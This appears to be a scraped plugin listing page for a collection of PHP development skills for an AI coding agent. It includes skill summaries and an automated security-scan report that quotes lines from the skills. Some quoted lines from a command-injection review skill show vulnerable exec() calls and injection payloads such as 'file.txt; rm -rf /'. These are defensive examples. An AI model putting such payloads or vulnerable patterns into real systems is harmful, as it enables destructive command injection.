SKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesSKILL.mdcore20,890 bytesassets/report-template.mddoc2,907 bytesreferences/advanced-resilience.mddoc9,045 bytesreferences/bulkhead.mddoc15,649 bytesreferences/circuit-breaker.mddoc9,821 bytesreferences/rate-limiting.mddoc16,127 bytesreferences/retry-patterns.mddoc9,960 bytes
Read SKILL.md
# Stability Patterns Knowledge Base
Quick reference for resilience and fault tolerance patterns in PHP applications.
## Core Patterns Overview
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ STABILITY PATTERNS │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ REQUEST FLOW │ │
│ │ │ │View the complete source on GitHubsuggest-simplification
When your agent uses it
Suggests code simplification opportunities. Identifies extract method candidates, complex expressions, redundant code, refactoring opportunities.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
1,906 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Simplification Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytesSKILL.mdcore7,665 bytes
Read SKILL.md
# Code Simplification Suggestions
Analyze PHP code for simplification and refactoring opportunities.
## Simplification Patterns
### 1. Extract Method
```php
// BEFORE: Long inline code block
public function processOrder(Order $order): void
{
// Validate order (5 lines)
if ($order->getItems()->isEmpty()) {View the complete source on GitHubsuggest-testability-improvements
When your agent uses it
Suggests testability improvements for PHP code. Provides DI refactoring suggestions, mock opportunities, interface extraction, testing strategy recommendations.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,884 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Improvement Categories
- Implementation Priority
- Output Format
Files
SKILL.mdcore8,191 bytesSKILL.mdcore8,191 bytesSKILL.mdcore8,191 bytesSKILL.mdcore8,191 bytesSKILL.mdcore8,191 bytesSKILL.mdcore8,191 bytesSKILL.mdcore8,191 bytesSKILL.mdcore8,191 bytesSKILL.mdcore8,191 bytes
Read SKILL.md
# Testability Improvement Suggestions
Provide actionable suggestions to improve code testability.
## Improvement Categories
### 1. Extract Interface for Dependencies
```php
// BEFORE: Concrete dependency
class PaymentProcessor
{
public function __construct(
private StripeGateway $gateway, // Concrete classView the complete source on GitHubsymfony-knowledge
When your agent uses it
Symfony framework knowledge base. Provides architecture, DDD integration, persistence, DI, security, messenger, workflow, events, infrastructure components, testing, and antipatterns for Symfony PHP projects.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
1,528 tokensWhen the skill is activated
Reference documents
28,689 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 Symfony Patterns
- References
Files
SKILL.mdcore7,210 bytesSKILL.mdcore7,210 bytesSKILL.mdcore7,210 bytesSKILL.mdcore7,210 bytesreferences/antipatterns.mddoc14,287 bytesreferences/architecture.mddoc6,169 bytesreferences/ddd-integration.mddoc10,651 bytesreferences/dependency-injection.mddoc10,204 bytesreferences/event-system.mddoc10,080 bytesreferences/infrastructure-components.mddoc13,220 bytesreferences/messenger-advanced.mddoc13,781 bytesreferences/persistence.mddoc9,002 bytesreferences/routing-http.mddoc9,340 bytesreferences/security.mddoc10,899 bytesreferences/testing.mddoc11,016 bytesreferences/workflow.mddoc11,249 bytes
Read SKILL.md
# Symfony Knowledge Base
Quick reference for Symfony framework patterns, DDD integration, and PHP implementation guidelines for auditing and generating Symfony-based applications.
## Core Principles
- **Bundle System** — Symfony's plugin mechanism. Third-party code is installed as bundles; application code lives outside bundles in `src/`.
- **Symfony Flex** — Automates bundle installation via recipes. Standard dirs: `config/`, `src/`, `public/`, `var/`, `migrations/`, `tests/`, `templates/`.
- **Kernel** — Entry point that boots the container, registers bundles, loads configuration. Must remain thin — no business logic.
## Quick Checklists
### DDD-Compatible Symfony Project
View the complete source on GitHubtask-progress-knowledge
When your agent uses it
TaskCreate pattern guidelines for progress tracking in coordinator agents
What it loads into context
Frontmatter
19 tokensAlways available to the agent
SKILL.md
1,136 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use TaskCreate
- TaskCreate Fields
- Workflow Pattern
- Examples by Coordinator Type
- Best Practices
Files
SKILL.mdcore5,349 bytes
Read SKILL.md
# Task Progress Knowledge
Guidelines for using TaskCreate/TaskUpdate tools in coordinator agents to provide user visibility into multi-phase workflows.
## When to Use TaskCreate
Use TaskCreate in **coordinator agents** with **3+ major phases**:
- **Code review coordinators** — multiple review phases
- **Bug fix coordinators** — diagnose → fix → test pipeline
- **Refactoring coordinators** — analyze → plan → generate
- **Architecture auditors** — multi-domain audits
- **CI/CD coordinators** — setup/fix/optimize operations
View the complete source on GitHubtesting-knowledge
When your agent uses it
Testing knowledge base for PHP 8.4 projects. Provides testing pyramid, AAA pattern, naming conventions, isolation principles, DDD testing guidelines, and PHPUnit patterns.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,795 tokensWhen the skill is activated
Reference documents
9,235 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Testing Pyramid
- AAA Pattern (Arrange-Act-Assert)
- Naming Conventions
- Test Isolation Principles
- Quick Quality Checklist
- DDD Component Testing
- PHP 8.4 Test Patterns
- Test Doubles Quick Reference
- Common Test Smells
- Advanced Testing Patterns
- References
Files
SKILL.mdcore7,875 bytesSKILL.mdcore7,875 bytesSKILL.mdcore7,875 bytesSKILL.mdcore7,875 bytesSKILL.mdcore7,875 bytesreferences/advanced-testing.mddoc8,780 bytesreferences/ddd-testing.mddoc15,455 bytesreferences/integration-testing.mddoc8,436 bytesreferences/unit-testing.mddoc6,766 bytes
Read SKILL.md
# Testing Knowledge Base
Quick reference for PHP testing patterns, principles, and best practices.
## Testing Pyramid
```
/\
/ \ Functional (10%)
/────\ - E2E, browser tests
/ \ - Slow, fragile
/────────\ Integration (20%)
/ \ - DB, HTTP, queues
/────────────\Unit (70%)View the complete source on GitHubtrace-data-transformation
When your agent uses it
Maps data transformation chains — Request DTO to Command to Entity to Response DTO. Identifies mappers, serializers, type conversions, and data loss points across layer boundaries.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
1,789 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Transformation Chain Patterns
- Analysis Process
- Output Format
- Transformation Quality Indicators
- Common Anti-Patterns
- Integration
Files
SKILL.mdcore7,542 bytesSKILL.mdcore7,542 bytesSKILL.mdcore7,542 bytesSKILL.mdcore7,542 bytesSKILL.mdcore7,542 bytesSKILL.mdcore7,542 bytes
Read SKILL.md
# Data Transformation Tracer
## Overview
Traces how data transforms as it passes through application layers — from raw HTTP input through DTOs, Commands, Entities, and back to Response objects. Identifies mappers, serializers, converters, and potential data loss points.
## Transformation Chain Patterns
### Standard CQRS Chain
```
HTTP Request Body (JSON/Form)
→ Request DTO (validated input)
→ Command/Query (application layer input)View the complete source on GitHubtrace-request-lifecycle
When your agent uses it
Traces full request lifecycle from Router through Middleware, Controller, UseCase, Repository to Response. Documents HTTP methods, routes, middleware stack, response codes, and error handling paths.
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
1,827 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Tracing Process
- Output Format
- Lifecycle Quality Indicators
- Integration
Files
SKILL.mdcore7,138 bytesSKILL.mdcore7,138 bytesSKILL.mdcore7,138 bytesSKILL.mdcore7,138 bytesSKILL.mdcore7,138 bytesSKILL.mdcore7,138 bytesSKILL.mdcore7,138 bytes
Read SKILL.md
# Request Lifecycle Tracer
## Overview
Traces the complete lifecycle of an HTTP request or CLI command through all application layers — from entry point through middleware, handler, business logic, persistence, and back to response. Documents the full chain with data transformations at each step.
## Tracing Process
### Step 1: Identify the Request Entry
```bash
# Find route definition for the target endpoint
Grep: "#\\[Route\\(" --glob "**/*.php" -A 2
Grep: "Route::(get|post|put|delete)" --glob "**/routes/*.php"View the complete source on GitHubtroubleshooting-template
When your agent uses it
Generates troubleshooting guides and FAQ sections for PHP projects. Creates problem-solution documentation.
What it loads into context
Frontmatter
23 tokensAlways available to the agent
SKILL.md
2,045 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Document Structure
- Section Templates
- FAQ
- Get Help
Files
SKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytesSKILL.mdcore8,015 bytes
Read SKILL.md
# Troubleshooting Template Generator
Generate helpful troubleshooting guides and FAQ documentation.
## Document Structure
```markdown
# Troubleshooting
## Quick Fixes
{common issues with quick solutions}
## Installation Issues
{installation problems}View the complete source on GitHubyii-knowledge
When your agent uses it
Yii framework knowledge base. Provides Yii3 modular architecture, DDD integration, PSR-7/PSR-15 compliance, persistence, DI, security (RBAC, auth), event system (PSR-14), queue/jobs, infrastructure components (cache, rate limiter, HTTP client), testing, and antipatterns for Yii PHP projects.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
1,448 tokensWhen the skill is activated
Reference documents
28,609 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Core Principles
- Quick Checklists
- Common Violations Quick Reference
- PHP 8.4 Yii Patterns
- References
Files
SKILL.mdcore6,386 bytesSKILL.mdcore6,386 bytesSKILL.mdcore6,386 bytesSKILL.mdcore6,386 bytesreferences/antipatterns.mddoc15,337 bytesreferences/architecture.mddoc5,790 bytesreferences/ddd-integration.mddoc10,724 bytesreferences/dependency-injection.mddoc9,127 bytesreferences/event-system.mddoc10,858 bytesreferences/infrastructure-components.mddoc14,187 bytesreferences/persistence.mddoc10,465 bytesreferences/queue.mddoc9,909 bytesreferences/routing-http.mddoc9,819 bytesreferences/security.mddoc14,993 bytesreferences/testing.mddoc13,772 bytes
Read SKILL.md
# Yii Knowledge Base
Quick reference for Yii3 framework patterns and PHP implementation guidelines. Yii3 is a complete rewrite — modular, PSR-compliant, and designed for modern PHP 8.4+ applications with clean architecture support.
## Core Principles
### PSR Compliance
Yii3 implements PSR-3 (log), PSR-4 (autoload), PSR-7/PSR-17 (HTTP messages/factories via `yiisoft/http-message`), PSR-11 (DI via `yiisoft/di`), PSR-12 (coding style), PSR-15 (middleware via `yiisoft/middleware-dispatcher`).
### Middleware Pipeline
```
Request → [Router] → [Auth] → [CORS] → [Action] → ResponseView the complete source on GitHubSkills included
- access-control-knowledge
- adr-knowledge
- adr-template
- analyze-ci-config
- analyze-ci-logs
- analyze-coupling-cohesion
- analyze-docker-build-errors
- analyze-docker-image-size
- analyze-docker-runtime-errors
- analyze-php-logs
- analyze-solid-violations
- analyze-test-coverage
- api-design-knowledge
- api-doc-template
- architecture-doc-template
- bug-fix-knowledge
- bug-impact-analyzer
- bug-regression-preventer
- bug-root-cause-finder
- caching-strategies-knowledge
- changelog-template
- check-12-factor-compliance
- check-abstract-factory
- check-access-control-model
- check-aggregate-consistency
- check-async-patterns
- check-authentication
- check-authorization
- check-batch-processing
- check-bounded-contexts
- check-caching-strategy
- check-cascading-failures
- check-class-length
- check-code-style
- check-command-injection
- check-comments
- check-connection-pool
- check-consistency
- check-context-communication
- check-cors-security
- check-cqrs-alignment
- check-crypto-usage
- check-csrf-protection
- check-database-scaling
- check-dependency-injection
- check-dependency-vulnerabilities
- check-deserialization
- check-distributed-locks
- check-doc-examples
- check-doc-links
- check-docker-compose-config
- check-docker-healthcheck
- check-docker-layer-efficiency
- check-docker-php-config
- check-docker-production-readiness
- check-docker-secrets
- check-docker-security
- check-docker-user-permissions
- check-encapsulation
- check-fallback-strategy
- check-file-io
- check-idempotency
- check-immutability
- check-index-usage
- check-input-validation
- check-insecure-design
- check-lazy-loading
- check-leaky-abstractions
- check-logging-failures
- check-magic-values
- check-mass-assignment
- check-method-length
- check-naming
- check-nesting-depth
- check-observability-coverage
- check-output-encoding
- check-path-traversal
- check-pure-functions
- check-query-efficiency
- check-scalability-readiness
- check-secure-headers
- check-sensitive-data
- check-serialization
- check-side-effects
- check-singleton-antipattern
- check-sql-injection
- check-ssrf
- check-test-quality
- check-timeout-strategy
- check-type-juggling
- check-version-consistency
- check-xxe
- ci-pipeline-knowledge
- ci-tools-knowledge
- claude-code-knowledge
- clean-arch-knowledge
- cloud-native-knowledge
- code-examples-template
- codeigniter-knowledge
- consistency-patterns-knowledge
- cqrs-knowledge
- create-access-control
- create-action
- create-adapter
- create-aggregate
- create-anti-corruption-layer
- create-api-versioning
- create-bridge
- create-builder
- create-bulkhead
- create-cache-aside
- create-chain-of-responsibility
- create-circuit-breaker
- create-command
- create-composite
- create-correlation-context
- create-dead-letter-queue
- create-decorator
- create-deploy-strategy
- create-deptrac-config
- create-di-container
- create-distributed-lock
- create-docker-compose-dev
- create-docker-compose-production
- create-docker-entrypoint
- create-docker-env-template
- create-docker-healthcheck
- create-docker-makefile
- create-docker-nginx-config
- create-docker-php-config
- create-docker-supervisor-config
- create-dockerfile-ci
- create-dockerfile-dev
- create-dockerfile-production
- create-dockerignore
- create-domain-event
- create-domain-service
- create-dto
- create-entity
- create-event-store
- create-facade
- create-factory
- create-feature-flags
- create-flyweight
- create-github-actions
- create-gitlab-ci
- create-health-check
- create-idempotency-handler
- create-idempotent-consumer
- create-integration-test
- create-iterator
- create-mediator
- create-memento
- create-message-broker-adapter
- create-metrics-collector
- create-mock-repository
- create-null-object
- create-object-pool
- create-outbox-pattern
- create-phpstan-config
- create-policy
- create-prototype
- create-proxy
- create-psalm-config
- create-psr11-container
- create-psr13-link
- create-psr14-event-dispatcher
- create-psr15-middleware
- create-psr16-simple-cache
- create-psr17-http-factory
- create-psr18-http-client
- create-psr20-clock
- create-psr3-logger
- create-psr6-cache
- create-psr7-http-message
- create-query
- create-rate-limiter
- create-read-model
- create-read-write-proxy
- create-rector-config
- create-repository
- create-responder
- create-retry-pattern
- create-saga-pattern
- create-snapshot
- create-specification
- create-state
- create-strategy
- create-structured-logger
- create-template-method
- create-test-builder
- create-test-double
- create-timeout
- create-unit-of-work
- create-unit-test
- create-use-case
- create-value-object
- create-visitor
- ddd-knowledge
- deployment-knowledge
- detect-architecture-pattern
- detect-ci-antipatterns
- detect-code-smells
- detect-docker-antipatterns
- detect-memory-issues
- detect-n-plus-one
- detect-test-smells
- detect-unnecessary-loops
- diagram-knowledge
- discover-project-logs
- docker-base-images-knowledge
- docker-buildkit-knowledge
- docker-compose-knowledge
- docker-knowledge
- docker-multistage-knowledge
- docker-networking-knowledge
- docker-orchestration-knowledge
- docker-php-extensions-knowledge
- docker-production-knowledge
- docker-scanning-knowledge
- docker-security-knowledge
- docker-troubleshooting-knowledge
- documentation-knowledge
- documentation-qa-knowledge
- eda-knowledge
- estimate-complexity
- estimate-pipeline-time
- event-sourcing-knowledge
- explain-business-process
- explain-output-template
- extract-business-rules
- extract-domain-concepts
- extract-state-machine
- find-boundary-issues
- find-exception-issues
- find-infinite-loops
- find-logic-errors
- find-null-pointer-issues
- find-race-conditions
- find-resource-leaks
- find-type-issues
- generate-bug-fix
- generate-ci-fix
- getting-started-template
- grasp-knowledge
- hexagonal-knowledge
- identify-entry-points
- laravel-knowledge
- layer-arch-knowledge
- map-async-flows
- mermaid-template
- message-queue-knowledge
- microservices-knowledge
- no-framework-knowledge
- observability-knowledge
- optimize-docker-build-time
- optimize-docker-compose-resources
- optimize-docker-image-size
- optimize-docker-layers
- optimize-docker-opcache
- optimize-docker-php-fpm
- optimize-docker-startup
- outbox-pattern-knowledge
- psr-autoloading-knowledge
- psr-coding-style-knowledge
- psr-overview-knowledge
- readme-template
- replication-sharding-knowledge
- resolve-entry-point
- saga-pattern-knowledge
- scalability-knowledge
- scan-codebase-structure
- solid-knowledge
- stability-patterns-knowledge
- suggest-simplification
- suggest-testability-improvements
- symfony-knowledge
- task-progress-knowledge
- testing-knowledge
- trace-data-transformation
- trace-request-lifecycle
- troubleshooting-template
- yii-knowledge
Repository facts
- License
- MIT
- Created
- Jan 31, 2026
- Last pushed
- Aug 16, 2026
- Forks
- 26
- Open issues
- 0
- Project activity
- Slowing
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 5, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 2,047 notes
skills/access-control-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/access-control-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/access-control-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/access-control-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/access-control-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/access-control-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/adr-knowledge/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 97 dangerous shell commandsin 38 files: check-command-injection/SKILL.md:20 detect-docker-antipatterns/SKILL.md:34 check-docker-layer-efficiency/SKILL.md:45 and 35 more
- 692 network referencesin 104 files: check-ssrf/SKILL.md:22 deployment-knowledge/references/blue-green.md:401 api-design-knowledge/references/error-handling.md:21 and 101 more
- No hidden or obfuscated text
- No instruction overrides
- No executable scripts
- 90 references to secretsin 43 files: check-docker-secrets/SKILL.md:3 getting-started-template/SKILL.md:83 troubleshooting-template/SKILL.md:141 and 40 more
- No requests to vote in Hot
Show all 879 signals by file
.claude-plugin/marketplace.json
- Network accessline 18
"email": "dykyi.roman@gmail.com" }, "homepage": "https://github.com/dykyi-roman/awesome-claude-code", - Network accessline 19
}, "homepage": "https://github.com/dykyi-roman/awesome-claude-code", "license": "MIT", - Network accessline 20
"homepage": "https://github.com/dykyi-roman/awesome-claude-code",
.claude-plugin/plugin.json
- Network accessline 7
"email": "dykyi.roman@gmail.com" }, "homepage": "https://github.com/dykyi-roman/awesome-claude-code", - Network accessline 8
}, "homepage": "https://github.com/dykyi-roman/awesome-claude-code", "repository": "https://github.com/dykyi-roman/awesome-claude-code", - Network accessline 9
"homepage": "https://github.com/dykyi-roman/awesome-claude-code", - Network accessline 10
"repository": "https://github.com/dykyi-roman/awesome-claude-code",
skills/adr-template/SKILL.md
skills/analyze-ci-config/SKILL.md
- Access to secretsline 40
[Credential-related source omitted]
skills/analyze-docker-build-errors/SKILL.md
- Dangerous shell operationline 138
RUN apt-get update && apt-get install -y --no-install-recommends <DEV_PACKAGES> && docker-php-ext-configure <EXT> <OPTIONS> && docker-php-ext-install -j$(nproc) <EXT> && apt-get purge -y --auto-remove <DEV_ONLY_PACKAGES> - Dangerous shell operationline 143
&& rm -rf /var/lib/apt/lists/*
skills/analyze-docker-image-size/SKILL.md
skills/api-design-knowledge/references/advanced-api.md
skills/api-design-knowledge/references/error-handling.md
- Network accessline 21
{ "type": "https://api.example.com/errors/validation", - Network accessline 22
"type": "https://api.example.com/errors/validation", - Network accessline 47
{ "type": "https://api.example.com/errors/insufficient-funds", - Network accessline 48
"type": "https://api.example.com/errors/insufficient-funds", - Network accessline 63
{ "type": "https://api.example.com/errors/validation", - Network accessline 64
"type": "https://api.example.com/errors/validation", - Network accessline 78
{ "type": "https://api.example.com/errors/order-already-confirmed", - Network accessline 79
"type": "https://api.example.com/errors/order-already-confirmed", - Network accessline 91
{ "type": "https://api.example.com/errors/authentication", - Network accessline 92
"type": "https://api.example.com/errors/authentication", - Network accessline 102
{ "type": "https://api.example.com/errors/forbidden", - Network accessline 103
"type": "https://api.example.com/errors/forbidden", - Network accessline 113
{ "type": "https://api.example.com/errors/not-found", - Network accessline 114
"type": "https://api.example.com/errors/not-found", - Network accessline 126
{ "type": "https://api.example.com/errors/rate-limited", "title": "Too Many Requests", - Network accessline 127
"type": "https://api.example.com/errors/rate-limited", "title": "Too Many Requests", "status": 429, - Network accessline 146
{ "type": "https://api.example.com/errors/internal", - Network accessline 147
"type": "https://api.example.com/errors/internal", - Network accessline 372
title: 'Validation Error', detail: 'One or more fields failed validation', type: 'https://api.example.com/errors/validation', - Network accessline 373
detail: 'One or more fields failed validation', type: 'https://api.example.com/errors/validation', extensions: ['errors' => $errors], - Network accessline 374
type: 'https://api.example.com/errors/validation', - Network accessline 385
title: 'Resource Not Found', detail: sprintf('%s with ID %s was not found', $resourceType, $resourceId), type: 'https://api.example.com/errors/not-found', - Network accessline 386
detail: sprintf('%s with ID %s was not found', $resourceType, $resourceId), type: 'https://api.example.com/errors/not-found', extensions: [ - Network accessline 387
type: 'https://api.example.com/errors/not-found',
skills/api-doc-template/SKILL.md
skills/caching-strategies-knowledge/references/redis-patterns.md
- Dangerous shell operationline 249
return (bool) $this->redis->eval(
skills/changelog-template/SKILL.md
- Network accessline 17
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), - Network accessline 18
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Network accessline 45
[Unreleased]: https://github.com/owner/repo/compare/v1.0.0...HEAD - Network accessline 46
[1.0.0]: https://github.com/owner/repo/releases/tag/v1.0.0 - Network accessline 149
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), - Network accessline 150
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - Network accessline 225
[Unreleased]: https://github.com/vendor/package/compare/v2.1.0...HEAD - Network accessline 226
[2.1.0]: https://github.com/vendor/package/compare/v2.0.0...v2.1.0 - Network accessline 227
[2.0.0]: https://github.com/vendor/package/compare/v1.2.1...v2.0.0 - Network accessline 228
[1.2.1]: https://github.com/vendor/package/compare/v1.2.0...v1.2.1 - Network accessline 229
[1.2.0]: https://github.com/vendor/package/compare/v1.1.0...v1.2.0 - Network accessline 230
[1.1.0]: https://github.com/vendor/package/compare/v1.0.0...v1.1.0 - Network accessline 231
[1.0.0]: https://github.com/vendor/package/releases/tag/v1.0.0
skills/check-12-factor-compliance/SKILL.md
- Network accessline 8
Analyze PHP code for violations of the [12-Factor App](https://12factor.net/) methodology that hinder deployment, scalability, and operational excellence. - Access to secretsline 60
[Credential-related source omitted] - Network accessline 255
public function getApiBaseUrl(): string { return 'https://api.example.com/v2'; // Hardcoded URL - Network accessline 256
{ return 'https://api.example.com/v2'; // Hardcoded URL } - Network accessline 257
return 'https://api.example.com/v2'; // Hardcoded URL - Network accessline 291
public function getPaymentGateway(): PaymentClient { return new PaymentClient('https://api.stripe.com/v1'); - Network accessline 292
{ return new PaymentClient('https://api.stripe.com/v1'); } - Network accessline 293
return new PaymentClient('https://api.stripe.com/v1'); - Network accessline 296
public function getSearchEngine(): SearchClient { return new SearchClient('http://elasticsearch:9200'); - Network accessline 297
{ return new SearchClient('http://elasticsearch:9200'); } - Network accessline 298
return new SearchClient('http://elasticsearch:9200');
skills/check-command-injection/SKILL.md
- Dangerous shell operationline 20
exec("convert " . $filename . " output.png", $output); - Dangerous shell operationline 21
exec("grep '$search' /var/log/app.log"); - Network accessline 38
$result = `ls $directory`; $output = `grep $pattern $file`; $data = `curl $url`; - Network accessline 40
$data = `curl $url`; - Dangerous shell operationline 70
exec($cmd); - Dangerous shell operationline 81
exec("ls " . $directory); // Should be escapeshellarg($directory) - Dangerous shell operationline 100
// Filename: "file.txt; rm -rf /" - Dangerous shell operationline 108
exec("convert input.png --format=$format output"); - Dangerous shell operationline 109
// format: "png --help" or "png; rm -rf /" - Dangerous shell operationline 116
exec("convert " . $uploadedFile . " -resize 100x100 thumb.png"); - Dangerous shell operationline 129
exec("git clone " . $repoUrl); - Dangerous shell operationline 130
exec("git checkout " . $branch); - Dangerous shell operationline 134
exec("svn checkout " . $svnUrl); - Dangerous shell operationline 145
exec("sendmail -t < " . $emailFile); - Dangerous shell operationline 153
exec($cmd); - Dangerous shell operationline 157
exec("psql -U {$user} -d {$database} -c '{$query}'"); - Dangerous shell operationline 192
exec($cmd); - Dangerous shell operationline 256
shell_exec("rm " . escapeshellarg($file)); - Dangerous shell operationline 305
exec("process " . $filename); - Dangerous shell operationline 311
exec("process " . escapeshellarg($filename)); - Network accessline 318
**References:** - [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection) - Network accessline 319
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
skills/check-connection-pool/references/patterns.md
- Network accessline 43
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?'); $stmt->execute([$userId]); $users[] = $stmt->fetch(); - Network accessline 44
$stmt->execute([$userId]); $users[] = $stmt->fetch(); } - Network accessline 45
$users[] = $stmt->fetch(); - Dangerous shell operationline 172
$pdo->exec('SET SESSION sql_mode = "STRICT_ALL_TABLES"');
skills/check-cors-security/SKILL.md
- Network accessline 48
{ private const array ALLOWED_ORIGINS = [ 'https://app.example.com', - Network accessline 49
private const array ALLOWED_ORIGINS = [ 'https://app.example.com', 'https://admin.example.com', - Network accessline 50
'https://app.example.com', - Network accessline 51
'https://admin.example.com',
skills/check-csrf-protection/SKILL.md
- Network accessline 78
// VULNERABLE: No CSRF for AJAX fetch('/api/update', { - Network accessline 79
fetch('/api/update', { - Network accessline 84
// VULNERABLE: Only Origin check, no token if ($_SERVER['HTTP_ORIGIN'] === 'https://example.com') { - Network accessline 85
if ($_SERVER['HTTP_ORIGIN'] === 'https://example.com') { - Network accessline 120
// VULNERABLE: Third-party script without SRI <script src="https://cdn.example.com/lib.js"></script> - Network accessline 121
<script src="https://cdn.example.com/lib.js"></script> - Network accessline 123
// CORRECT: With subresource integrity <script src="https://cdn.example.com/lib.js" - Network accessline 124
<script src="https://cdn.example.com/lib.js" - Network accessline 207
// Use custom header (can't be set cross-origin) fetch('/api/update', { - Network accessline 208
fetch('/api/update', {
skills/check-dependency-injection/SKILL.md
- Access to secretsline 226
[Credential-related source omitted]
skills/check-dependency-vulnerabilities/SKILL.md
- Network accessline 114
- **PHP Security Advisories Database**: https://github.com/FriendsOfPHP/security-advisories - Network accessline 115
- **Snyk Vulnerability DB**: https://snyk.io/vuln - Network accessline 116
- **NVD**: https://nvd.nist.gov/ - Network accessline 117
- **Packagist Advisories**: https://packagist.org/advisories
skills/check-deserialization/SKILL.md
- Network accessline 374
**References:** - [OWASP Deserialization](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/15-Testing_for_HTTP_Incoming_Requests) - Network accessline 375
